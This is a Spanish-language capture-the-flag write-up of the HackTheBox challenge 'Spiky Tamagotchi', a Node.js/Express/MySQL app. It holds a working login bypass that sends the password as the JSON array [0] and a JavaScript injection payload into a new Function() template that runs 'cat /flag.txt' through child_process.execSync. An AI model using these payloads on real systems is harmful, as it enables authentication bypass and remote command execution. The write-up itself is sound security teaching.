Spiky Tamagotchi
7 minutos de lectura
Se nos proporciona el código fuente de un proyecto web en Node.js con Express JS y MySQL.
Análisis del código fuente
En el Dockerfile
se utiliza el siguiente script entrypoint.sh
:
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Initialize & Start MariaDB
mkdir -p /run/mysqld
chown -R mysql:mysql /run/mysqld
mysql_install_db --user=mysql --ldata=/var/lib/mysql
mysqld --user=mysql --console --skip-name-resolve --skip-networking=0 &
# Wait for mysql to start
while ! mysqladmin ping -h'localhost' --silent; do echo "mysqld is not yet alive" && sleep .2; done
# admin password
PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
# create database
mysql -u root << EOF
CREATE DATABASE spiky_tamagotchi;
CREATE TABLE spiky_tamagotchi.users (
id INT AUTO_INCREMENT NOT NULL,
username varchar(255) UNIQUE NOT NULL,
password varchar(255) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO spiky_tamagotchi.users VALUES
(1,'admin','${PASSWORD}');
GRANT ALL PRIVILEGES ON spiky_tamagotchi.* TO 'rh0x01'@'%' IDENTIFIED BY 'r4yh4nb34t5b1gm4c';
FLUSH PRIVILEGES;
EOF
# launch supervisord
/usr/bin/supervisord -c /etc/supervisord.conf
Aquí vemos que la base de datos contiene un usuario llamado admin
y una contraseña aleatoria.
Existen funciones llamadas registerUser
y loginUser
en el código fuente (database.js
). Ambas usan prepared statements, por lo que no es posible usar una inyección de código SQL:
let mysql = require('mysql')
class Database {
constructor() {
this.connection = mysql.createConnection({
host: 'localhost',
user: 'rh0x01',
password: 'r4yh4nb34t5b1gm4c',
database: 'spiky_tamagotchi'
});
}
async registerUser(user, pass) {
return new Promise(async (resolve, reject) => {
let stmt = 'INSERT INTO users (username, password) VALUES (?, ?)';
this.connection.query(stmt, [user, pass], (err, result) => {
if(err)
reject(err)
resolve(result)
})
});
}
async loginUser(user, pass) {
return new Promise(async (resolve, reject) => {
let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?';
let x = this.connection.query(stmt, [user, pass], (err, result) => {
if(err || result.length == 0)
reject(err)
resolve(result)
})
});
}
}
module.exports = Database;
Desafortunadamente, no hay manera de registrar un nuevo usuario usando registerUser
:
const express = require('express')
const router = express.Router()
const JWTHelper = require('../helpers/JWTHelper')
const SpikyFactor = require('../helpers/SpikyFactor')
const AuthMiddleware = require('../middleware/AuthMiddleware')
const response = data => ({ message: data })
router.get('/', (req, res) => {
return res.render('index.html')
})
router.post('/api/login', async (req, res) => {
const { username, password } = req.body
if (username && password) {
return db
.loginUser(username, password)
.then(user => {
let token = JWTHelper.sign({ username: user[0].username })
res.cookie('session', token, { maxAge: 3600000 })
return res.send(response('User authenticated successfully!'))
})
.catch(() => res.status(403).send(response('Invalid username or password!')))
}
return res.status(500).send(response('Missing required parameters!'))
})
router.get('/interface', AuthMiddleware, async (req, res) => {
return res.render('interface.html')
})
router.post('/api/activity', AuthMiddleware, async (req, res) => {
const { activity, health, weight, happiness } = req.body
if (activity && health && weight && happiness) {
return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
.then(status => {
return res.json(status)
})
.catch(e => {
res.send(response('Something went wrong!'))
})
}
return res.send(response('Missing required parameters!'))
})
router.get('/logout', (req, res) => {
res.clearCookie('session')
return res.redirect('/')
})
module.exports = database => {
db = database
return router
}
Bypass de autenticación
Por tanto, tenemos que saltarnos la autenticación de alguna manera. Aquí tenemos helpers/JWTHelper.js
, que es la manera en la que el servidor gestiona la autenticación:
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const APP_SECRET = crypto.randomBytes(69).toString('hex');
module.exports = {
sign(data) {
data = Object.assign(data);
return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' }))
},
async verify(token) {
return (jwt.verify(token, APP_SECRET, { algorithm:'HS256' }));
}
}
Es extraño ver Object.assign(data)
, que puede recordar a Prototype Pollution, pero no es explotable.
Además, existe otra función en helpers/SpikyFactor.js
:
const calculate = (activity, health, weight, happiness) => {
return new Promise(async (resolve, reject) => {
try {
// devine formula :100:
let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; } if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; } if (w < 10) { w = 10 } return {m, hp, w, hs}
}`;
quickMaths = new Function(res);
const {m, hp, w, hs} = quickMaths();
resolve({mood: m, health: hp, weight: w, happiness: hs})
}
catch (e) {
reject(e);
}
});
}
module.exports = {
calculate
}
Esta es solo accesible una vez que estemos autenticados, pero podemos ver la vulnerabilidad. El problem es que la variable res
contiene una string que interpola algunas variables que podemos controlar. Esta string se utiliza para crear una función de JavaScript en tiempo de ejecución, por lo que podemos modificar un poco el código de la función para ejecutar un comando de sistema y leer la flag.
Para poder saltarnos la autenticación, vamos a añadir algunos console.log
para analizar lo que está pasando:
console.log(req.body, username && password)
console.log(x.sql)
Esta es la página de inicio de sesión:
Y capturamos la petición con Burp Suite:
Y vemos esto en la salida de las sentencias console.log
:
{ username: 'admin', password: 'asdf' } asdf
SELECT username FROM users WHERE username = 'admin' AND password = 'asdf'
Ahora podemos probar con este documento JSON (intentando alga especi de vulnerabilidad de Type Juggling):
{"username":"admin","password":true}
{ username: 'admin', password: true } true
SELECT username FROM users WHERE username = 'admin' AND password = true
Luego, este:
{"username":"admin","password":1}
{ username: 'admin', password: 1 } 1
SELECT username FROM users WHERE username = 'admin' AND password = 1
Otro más:
{"username":"admin","password":[]}
{ username: 'admin', password: [] } []
SELECT username FROM users WHERE username = 'admin' AND password =
Y por último, este:
{"username":"admin","password":[0]}
{ username: 'admin', password: [ 0 ] } [ 0 ]
SELECT username FROM users WHERE username = 'admin' AND password = 0
Sorprendentemente nos hemos saltado la autenticación y ya con esto estamos autenticados:
Ahora tenemos esta página web:
A continuación, capturamos la petición con Burp Suite:
Injección de código JavaScript
Y usamos el siguiente payload para inyectar código JavaScript y ejecutar un comando de sistema para leer la flag (adaptado de un payload de Server-Side Template Injection en Less.js de PayloadsAllTheThings):
', hp=60, w=42, hs=50) { hp=global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString(); return {a, hp, w, hs} //
Este payload funciona porque la función de JavaScript que será creada es esta:
with(a='', hp=60, w=42, hs=50) { hp=global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString(); return {a, hp, w, hs} //', hp=52, w=37, hs=43) {
Y conseguimos la flag en local:
Flag
Si realizamos los pasos anteriores en la instancia remota, capturaremos la flag:
HTB{s0rry_1m_n07_1nt0_typ3_ch3ck5}
Curiosidades
Solo por curiosidad, podemos ver que el bypass de autenticación funciona en MySQL al consultar por password = 0
, aunque password
sea un campo de tipo varchar
:
$ docker exec -it d8ab08dc320a mysql
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 7
Server version: 10.6.7-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use spiky_tamagotchi;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [spiky_tamagotchi]> select * from users where username = 'admin' and password = 0;
+----+----------+------------------+
| id | username | password |
+----+----------+------------------+
| 1 | admin | LrQ0SQr9kjcs0iBA |
+----+----------+------------------+
1 row in set, 1 warning (0.002 sec)
MariaDB [spiky_tamagotchi]> exit
Bye